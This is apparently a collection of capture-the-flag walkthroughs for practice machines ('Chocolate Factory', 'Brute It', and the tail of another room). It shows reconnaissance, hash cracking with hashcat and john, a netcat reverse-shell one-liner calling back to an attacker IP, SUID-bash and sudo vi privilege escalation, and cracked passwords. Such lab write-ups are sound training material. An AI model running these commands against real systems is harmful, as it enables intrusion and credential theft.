Lets visit the webserver

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrFobZJDtfWpJj_xs7%2F-MbrFzFurL32aoCOnEdC%2Fimage.png?alt=media\&token=bade9613-b8d0-433a-ae34-288807e3edc3)

Its a default Apache2 page, lets run gobuster to find hidden directories and files.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrFobZJDtfWpJj_xs7%2F-MbrGVvYXAFtGo5UUJPl%2Fimage.png?alt=media\&token=8ac239eb-b895-4cf3-9a6b-6b1fa265aa6d)

There is an admin directory, lets go check it out

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrFobZJDtfWpJj_xs7%2F-MbrGbthNzg2RxjoykyM%2Fimage.png?alt=media\&token=55f51ca8-3e52-4a51-b50d-e894513e00fc)

Its a website with information about a person, lets explore the website and see what we can find. When you go to the Admins tab, you find this information

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrFobZJDtfWpJj_xs7%2F-MbrGp56YfiknVBuNCe_%2Fimage.png?alt=media\&token=9095eaf7-c412-4fac-aa86-21763840d598)

Looks like there is a backup called `music_archive`. We also get another hit on `gobuster`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrFobZJDtfWpJj_xs7%2F-MbrHFrqpDPXAyc2zeGH%2Fimage.png?alt=media\&token=d60d26c4-e0fa-46f9-8db7-972b1a0dc53b)

`/etc/` directory , this might be config files that Alex was talking about, lets go visit it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrFobZJDtfWpJj_xs7%2F-MbrHWPypgkOzpYrzCqv%2Fimage.png?alt=media\&token=44fa5182-9baa-4275-85b8-7df4ee1fd96e)

Clicking on the folder we see some interesting files

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrFobZJDtfWpJj_xs7%2F-MbrHboPgfVX1znMFjDo%2Fimage.png?alt=media\&token=bb75b315-0653-458b-8a2c-2861d9faa920)

We have a `squid.conf` file and a passwd file. Lets download these to our machine.

```
wget http://10.10.4.121/etc/squid/<file-name>
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrFobZJDtfWpJj_xs7%2F-MbrINZbdFgmBcqisnBk%2Fimage.png?alt=media\&token=834bd4fe-fbc0-48af-9013-9adbb26f7129)

Lets check these files out

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrFobZJDtfWpJj_xs7%2F-MbrIpo5p0aQ6YH1UpI0%2Fimage.png?alt=media\&token=43644225-cebd-4268-ad73-cbc8288a8110)

Looks like a hash, lets crack this using `john the ripper`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrFobZJDtfWpJj_xs7%2F-MbrIwKi-1riKRJ3IOKl%2Fimage.png?alt=media\&token=91f014c9-7751-4fbc-bb31-f8466fdbac31)

We found a `password: squidward`. Lets look at the other file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrFobZJDtfWpJj_xs7%2F-MbrJBa48An_kULdSkce%2Fimage.png?alt=media\&token=7037c687-e68d-4021-80a5-e4d041c38993)

Doesn't look like anything important. One thing we did not find is the achieve file Alex was talking about, so I went to go look for it and found it here.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrFobZJDtfWpJj_xs7%2F-MbrJ_OJPSAj_BueBlcJ%2Fimage.png?alt=media\&token=eede2717-46fb-414f-9063-1e5ce09efc17)

Lets download this.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrFobZJDtfWpJj_xs7%2F-MbrJdqL-3rgB20aFiGs%2Fimage.png?alt=media\&token=e629ba68-b727-4210-828f-ac007bfbd60b)

The archive is a `tar` file, lets click ok after selecting save file. Now lets check its contents.

```
tar -xvf archive.tar
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrFobZJDtfWpJj_xs7%2F-MbrKbE_npB5rPuPh_am%2Fimage.png?alt=media\&token=45ced3f3-7573-4be8-93fc-4479dcc5a25b)

We found these files, I went through many of them and many did not make sense except this one.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrFobZJDtfWpJj_xs7%2F-MbrLGKzCd0RyhSeET6G%2Fimage.png?alt=media\&token=db9fbf47-aede-48c0-9a8d-dc453b15ab32)

Looking at this information I went to google and searched on this topic and found this [page](https://borgbackup.readthedocs.io/en/stable/usage/extract.html), which I saw that there were commands we could use, so I went to look for the file with which we can use borg commands, which one of them was `GitHub`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrFobZJDtfWpJj_xs7%2F-MbrM0mvHm_wogLLikRk%2Fimage.png?alt=media\&token=e5c7e7bc-9caa-4522-a752-c6bed83eb239)

Next I went here as it said that it had recent releases.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrFobZJDtfWpJj_xs7%2F-MbrMOjhf4w6UK2KHMyq%2Fimage.png?alt=media\&token=947d1a7c-278d-4346-bedf-de362cb2d496)

I downloaded the Linux file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrFobZJDtfWpJj_xs7%2F-MbrN2A7pwrdAvftAlSE%2Fimage.png?alt=media\&token=7afbcb6f-f9cb-4bfd-8340-96dccf7fcb3d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrN6X0dwC35ltBeR9i%2F-MbrNK-iMUmq6k3UNQh3%2Fimage.png?alt=media\&token=6c29482a-1626-4f5e-a400-dad229b36149)

Lets list the files , I tried using it when I got this message

```
borg list home/field/dev/final_archive
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrN6X0dwC35ltBeR9i%2F-MbrNkAHzlF4bbtTf2sv%2Fimage.png?alt=media\&token=38f98476-92a1-456c-aee8-57086079fb89)

And so I downloaded the tool, now lets list the files

```
borg list home/field/dev/final_archive
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrN6X0dwC35ltBeR9i%2F-MbrNp_8if_IqT7wkNxD%2Fimage.png?alt=media\&token=4941c5e9-1729-4c86-a732-0e48789498e0)

Earlier in our enumeration we found a `password: squidward`, lets use that.

```
borg list home/field/dev/final_archive
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrN6X0dwC35ltBeR9i%2F-MbrNzg7yQ1MnrTG4oBA%2Fimage.png?alt=media\&token=6e198d5a-605c-447e-9113-8a89245e5999)

And it worked, we have an archive file called `music_archive` , now lets extract this file too.

```
borg extract home/field/dev/final_archive/::music_archive
```

Its asks for a password, and I just used the before and it worked.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrN6X0dwC35ltBeR9i%2F-MbrP5mk38AIFZMRYIGA%2Fimage.png?alt=media\&token=721d3636-872e-4ab4-b7e3-846b8e1163d1)

We extracted a folder called `alex`. Navigating through it, I found this file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrN6X0dwC35ltBeR9i%2F-MbrPetSjsc5jXz8-Bav%2Fimage.png?alt=media\&token=39bdbd47-34a6-41fb-a4bb-2f65d2f65517)

It has nothing interesting, I also found this file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrN6X0dwC35ltBeR9i%2F-MbrPnaSEo5KGWeLkno_%2Fimage.png?alt=media\&token=bcb4fb19-7eda-4da8-bd87-dbab0be355a1)

It has a username and password. Lets try to login with these credentials through ssh.

```
ssh alex@10.10.4.121
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrN6X0dwC35ltBeR9i%2F-MbrT41oO1TEt5AOGr3q%2Fimage.png?alt=media\&token=1916029a-c8fe-425d-8098-d1850f6d51ae)

We are logged in. We can also cat the `user.txt` file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrN6X0dwC35ltBeR9i%2F-MbrTOCjkZS7dSH2lA9b%2Fimage.png?alt=media\&token=f37d6ec8-6955-4157-bdfb-e510700d97af)

## Privilege Escalation

Lets run `sudo -l` to see what we can run as root.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrN6X0dwC35ltBeR9i%2F-MbrTZHTUEiDgm43A_8g%2Fimage.png?alt=media\&token=4e37d56a-4dd3-425e-8c18-a9e7525dff41)

Looks like we can run this file, lets see what it does.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrN6X0dwC35ltBeR9i%2F-MbrTlC3norG7ZQVZWNP%2Fimage.png?alt=media\&token=bf1dc53a-6975-4ccc-85ba-a6b448494df1)

Looking through it, the getopts is something that is interesting, its a built-in function to parse arguments and options to a bash script according to google. This is the [article ](https://sookocheff.com/post/bash/parsing-bash-script-arguments-with-shopts/)that after googling. So for a summary, passing the `bash script -c` arguments , `getopts` will take the command and then parse it to the bash scripts and then executes it. Lets run a bash command.

```
sudo /etc/mp3backups/backup.sh -c bash
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrN6X0dwC35ltBeR9i%2F-MbrVVC5EInSpj-xF6ij%2Fimage.png?alt=media\&token=fe88b940-4d19-4c9a-b7f0-b6b1b32cb822)

We are now root, but none of the commands worked.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrN6X0dwC35ltBeR9i%2F-MbrVczx09M01ecF1kx5%2Fimage.png?alt=media\&token=f723d8c0-6915-41b1-9032-2326cac40ab3)

What we have to do is to add a SUID bit on bash then exiting the shell and using the bash binary to get root on the box and execute commands.

```
chmod 4577 /bin/bash
exit
bash -p
cd /root
cat root.txt
```

Using these commands we can read the root flag.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbrN6X0dwC35ltBeR9i%2F-MbrWKTzYypmhj_63h3f%2Fimage.png?alt=media\&token=3fd4fe60-daea-45a7-bde9-05029d5b2d68)


# Chocolate Factory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbmyHoOAQREIEg5D7At%2F-MbmyM7st0XqG7UYNTvs%2Fimage.png?alt=media\&token=b75342f5-f943-4344-bd09-543868a23d0b)

## Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.46.164
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbmyHoOAQREIEg5D7At%2F-Mbmz6mmaHoN4L8DfC1P%2Fimage.png?alt=media\&token=a5344c0c-9580-4d10-a543-e4c3f10de9d3)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 21,22,80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 21,22,80 -oN nmap 10.10.46.164
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbmzXiRUsfEurSNEq35%2F-Mbn29seXKJgjH7rTtpx%2Fimage.png?alt=media\&token=8f9bb7c9-42de-484c-9ac1-286ac48aabe4)

## Enumeration

### Port 21: FTP

Anonymous login is allowed so lets go check it out

```
ftp 10.10.46.164
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbn2Am6QU066nGLxAqU%2F-Mbn2RARxmR-bVQSwT5W%2Fimage.png?alt=media\&token=e0e8083f-981f-4fca-8086-cef1ad37d068)

Lets list the files.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbn2Am6QU066nGLxAqU%2F-Mbn2Yr6TdMOmctEEc5T%2Fimage.png?alt=media\&token=b3504b4b-ad00-4f1b-92e6-7d0d1d2501c0)

Looks like there is one file and it is a image so lets transfer it to our machine

```
get gum_room.jpg
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbn2Am6QU066nGLxAqU%2F-Mbn2iG89tIjPlMZvTf7%2Fimage.png?alt=media\&token=47403b51-f89a-4432-af92-34129af23d10)

Lets look at the image

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnATxnPisXeoapi3IP%2F-MbnD5LfdmufEYF1sW1T%2Fimage.png?alt=media\&token=5b0e3e62-19fd-461e-b91a-00c3173d4a30)

Lets see if there is information hidden in the file, so lets use `steghide`.

```
steghide info gum_room.jpg
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbn2o5V3CdZyI6aNBBY%2F-Mbn3yjVlI_FY_JzB_Mg%2Fimage.png?alt=media\&token=e781bdee-85e5-4b8d-815e-6386296b65bd)

I hit enter for the passphrase and it worked. We have one file called `b64.txt`, lets extract it.

```
steghide --extract -sf gum_room.jpg
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbn2o5V3CdZyI6aNBBY%2F-Mbn4Ajq3xqe0eGwOwoL%2Fimage.png?alt=media\&token=6db528e9-d450-4a3e-bb1a-138ba8869dfc)

Lets read the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbn2o5V3CdZyI6aNBBY%2F-Mbn4FmjP1g9Hma7uadS%2Fimage.png?alt=media\&token=df9cf4f3-b085-47fe-ae4f-c71e5efeb4a1)

Lets decode it. After decoded this is the output.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbn2o5V3CdZyI6aNBBY%2F-Mbn4gwru3tMNrSSlAqo%2Fimage.png?alt=media\&token=2cfae13f-8fd1-4954-8d38-d5fa1a71b6a7)

We have the password hash for the user `Charlie`. Lets use hashcat to crack this hash to get the password for Charlie.

Copy the hash into a file called `hash.txt`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbn2o5V3CdZyI6aNBBY%2F-Mbn5H9SYnLwY8e7-MvS%2Fimage.png?alt=media\&token=1e3a25b9-122c-4cd9-98db-c02d1773f5d1)

And now lets use `hashcat` to crack it.

```bash
hashcat -a 0 -m 1800 hash.txt /usr/share/wordlists/rockyou.txt
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnATxnPisXeoapi3IP%2F-MbnB4NVZPRriY9jk8Qs%2Fimage.png?alt=media\&token=9f954e09-5c2f-408d-9ef6-f11b92624e80)

We found the `password: cn7824` , lets try to login through ssh.

```bash
ssh charlie@10.10.46.164
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnATxnPisXeoapi3IP%2F-MbnBO4rpdqP-QozvMgx%2Fimage.png?alt=media\&token=4af51fd4-3131-4973-8e60-59d07bb50847)

Looks like this is not the password for ssh, lets go explore port 80

### Port 80: HTTP

Lets visit the website

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnATxnPisXeoapi3IP%2F-MbnAxmFR5YyXQnD6tKP%2Fimage.png?alt=media\&token=ab09aa6b-3bfb-4868-b2c2-02e099287ea1)

Its a login page, remember the credentials we found, lets use them to login.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnATxnPisXeoapi3IP%2F-MbnB_nFPdy6hcPexDkR%2Fimage.png?alt=media\&token=e36fdd20-a666-4cad-9d2d-30ff313a5279)

We logged in , looks like we can run commands, and normal commands work so lets run a reverse shell and get a reverse shell, lets first start a netcat listener

```bash
nc -lvnp 1234
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnATxnPisXeoapi3IP%2F-MbnBothtnUWGk1N65vD%2Fimage.png?alt=media\&token=9fc47540-0b4a-4e11-bdbb-5744c76e90f5)

Lets get a reverse shell from [here](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet).

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.13.8.64 1234 >/tmp/f
```

Lets execute this command, and we get a reverse shell on the machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnATxnPisXeoapi3IP%2F-MbnCGSAFB4powThNzIh%2Fimage.png?alt=media\&token=2afa72ce-2d10-4a9c-9a0b-7a7fe590370b)

Lets stabilize this shell, using these commands

```bash
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl + Z
stty raw -echo; fg
reset
Ctrl + C
export TERM=xterm-color
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnATxnPisXeoapi3IP%2F-MbnCYogC1qT4gqIXlFZ%2Fimage.png?alt=media\&token=d5a5efce-3d39-4e62-91f6-759305e2a519)

Lets list the files in the current directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnATxnPisXeoapi3IP%2F-MbnCjvr0EhmIZinvUhF%2Fimage.png?alt=media\&token=a46f765a-1c92-4e49-b540-30d00178e164)

We have a `validate.php` file, lets read it

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnATxnPisXeoapi3IP%2F-MbnDEpDpsdlehKat3H7%2Fimage.png?alt=media\&token=e55d287c-6dba-44da-9665-7f4c90200c3e)

We see the credentials we just used to login in the web page. I tried to run the key file but it said permission denied

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnATxnPisXeoapi3IP%2F-MbnDnUCRTzLTlxjl2sI%2Fimage.png?alt=media\&token=744f3274-beb5-48e7-b9c3-51d2a6255a4e)

So I used a command that lets us look at some information which is called `strings` and it gave me important information

```bash
strings key_rev_key
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnATxnPisXeoapi3IP%2F-MbnE5LE7e3L5Nou5kB5%2Fimage.png?alt=media\&token=34e1408b-1515-4364-8063-791c7ea9c718)

We have a key. With this information we can answer two questions in the room

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnATxnPisXeoapi3IP%2F-MbnECknfX18oWjAr83F%2Fimage.png?alt=media\&token=980523eb-498f-4368-b04e-3b832a9f2939)

I was enumerating when I realized that we can change directories into Charlie, so I listed the files and found the `user.txt` and some other files.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnATxnPisXeoapi3IP%2F-MbnF7jg1dAW71ENHOsY%2Fimage.png?alt=media\&token=8ac96788-0cbd-47d1-ac2d-87d97a5818e8)

Lets read the teleport file.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnFAVVRN6WGFYs569O%2F-MbnFLsO9WHlxLtQdckd%2Fimage.png?alt=media\&token=d1608d57-e6ae-4fb2-b7ea-1271a2e61a07)

Its a rsa private key, we can use this to login as `charlie` through ssh, lets do that. First copy the contents of the file into a file on your machine called `id_rsa`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnFAVVRN6WGFYs569O%2F-MbnFiJ-5qzIPUaPrNJX%2Fimage.png?alt=media\&token=b43949b4-5322-4e46-9d82-2a351ebadfc2)

Now we should change the permissions of the file

```bash
chmod 600 id_rsa
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnFAVVRN6WGFYs569O%2F-MbnFueZniGk5NXgCNIA%2Fimage.png?alt=media\&token=a2f4bd43-c94a-4eee-aba7-815614baed54)

Now lets login

```bash
ssh -i id_rsa charlie@10.10.46.164
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnFAVVRN6WGFYs569O%2F-MbnG5eZY1JvsD7r-IB7%2Fimage.png?alt=media\&token=c1eee460-24c2-424e-babb-ef49b05c5dce)

We are logged in.

## Privilege Escalation

Lets run `sudo -l` to see what we can run as root

```bash
sudo -l
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnFAVVRN6WGFYs569O%2F-MbnGWduFlBgURDowrka%2Fimage.png?alt=media\&token=66c3db24-b64d-458a-ad53-10284dae3bde)

Looks like we can run `/usr/bin/vi` as root so lets go to [GTFOBins ](https://gtfobins.github.io/gtfobins/vi/#sudo)to find the commands to escalate our privilege to root.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnFAVVRN6WGFYs569O%2F-MbnGjVioryi2EkVXJ7U%2Fimage.png?alt=media\&token=5e652a95-f12c-4572-868e-977546f4a9c1)

Lets run this command

```bash
sudo vi -c ':!/bin/sh' /dev/null
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnFAVVRN6WGFYs569O%2F-MbnGrlL0R8QJZqt9LZa%2Fimage.png?alt=media\&token=0de644a9-75bb-4d05-ae9f-d1cbbb4e6643)

We are now root, lets cd into the root folder to find the root flag, it looks like we need to run a python script to get the flag, lets run it, oh its asking for a key, remember when we found the key during enumeration, type that in and you should get the flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MbnFAVVRN6WGFYs569O%2F-MbnHh0aYXsq8jk0tMji%2Fimage.png?alt=media\&token=7dc817a5-b44a-435c-a216-328c8f3cfa25)


# Brute It

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MblyryPKbJja1Rq6B-E%2F-Mblytnn66EF2nbkqYf3%2Fimage.png?alt=media\&token=6e3a38cd-ba03-48e8-aebc-376ef4736c9b)

## Task 2: Reconnaissance

Initial nmap scan to find open ports , using the flag "treat all hosts as alive" (**-Pn**)

```
nmap -Pn 10.10.254.237
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MblyryPKbJja1Rq6B-E%2F-Mbm5lIELkzS_PCIxeeY%2Fimage.png?alt=media\&token=3e2ffab3-f305-42b4-b142-89225b108dd6)

We have 2 open ports.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MblyryPKbJja1Rq6B-E%2F-Mbm5pmevH5zd9t22oF2%2Fimage.png?alt=media\&token=8286b811-81ff-4c1a-b37a-1da1366bfe90)

Detailed Nmap Scan :&#x20;

Command Breakdown:&#x20;

* (**-sV):** Service version
* (**-sC**): Default nmap scripts
* (**-p):** Specifying ports 22,80
* (**-oN nmap**): Saving it into a file called nmap

```
nmap -sV -sC -p 22,80 -oN nmap 10.10.254.237
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm5yrewCefhVQ1bDXA%2F-Mbm6TIxnZesdKpshGZ5%2Fimage.png?alt=media\&token=237548d7-b97d-4d9c-8601-9491956b996d)

We have the version of SSH running: `OpenSSH 7.6p1`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm6_4Zadjy0AvMQikk%2F-Mbm6dirBGMVKY2nkVY3%2Fimage.png?alt=media\&token=bdadaadf-1bb8-4aba-89c1-dcc9247fd4a2)

The version of Apache running is `2.4.29`

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm6_4Zadjy0AvMQikk%2F-Mbm6jA0kzBFC_mCG4Wp%2Fimage.png?alt=media\&token=a19befc8-5d45-42de-bf46-55b83f1ca493)

The Linux distribution running is `Ubuntu`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm6_4Zadjy0AvMQikk%2F-Mbm6q2SzqHx5FTUvG0q%2Fimage.png?alt=media\&token=f82ffc72-a59f-4822-9911-c9b6fe4b09c4)

Lets visit the website&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm6_4Zadjy0AvMQikk%2F-Mbm7-siuAmiQcCA814K%2Fimage.png?alt=media\&token=f231a633-acb9-48e6-a878-22aa715a84e6)

It a default apache2 webpage. Lets look for hidden directories on the web server using gobuster.

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.254.237/
```

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm6_4Zadjy0AvMQikk%2F-Mbm7Bdi_ZTbmAd6L3ox%2Fimage.png?alt=media\&token=e4e5153c-b22c-4c28-94d8-32cc1bcaa729)

We found a directory called `/admin`.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm6_4Zadjy0AvMQikk%2F-Mbm7Js7FMtZGv6IgNdI%2Fimage.png?alt=media\&token=e1030026-2362-4f6d-9799-e06e8128b58e)

## Task 3: Getting a Shell

Lets visit the directory we found.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mbm6_4Zadjy0AvMQikk%2F-Mbm7YJEnlVAs8A22pEZ%2Fimage.png?alt=media\&token=2208fb29-ab2a-44c0-a9b8-2ef8da9ef45a)

Its a login page. As this is a admin login page, the username is most probably admin, we can also confirm this when we look at the source code of this page.

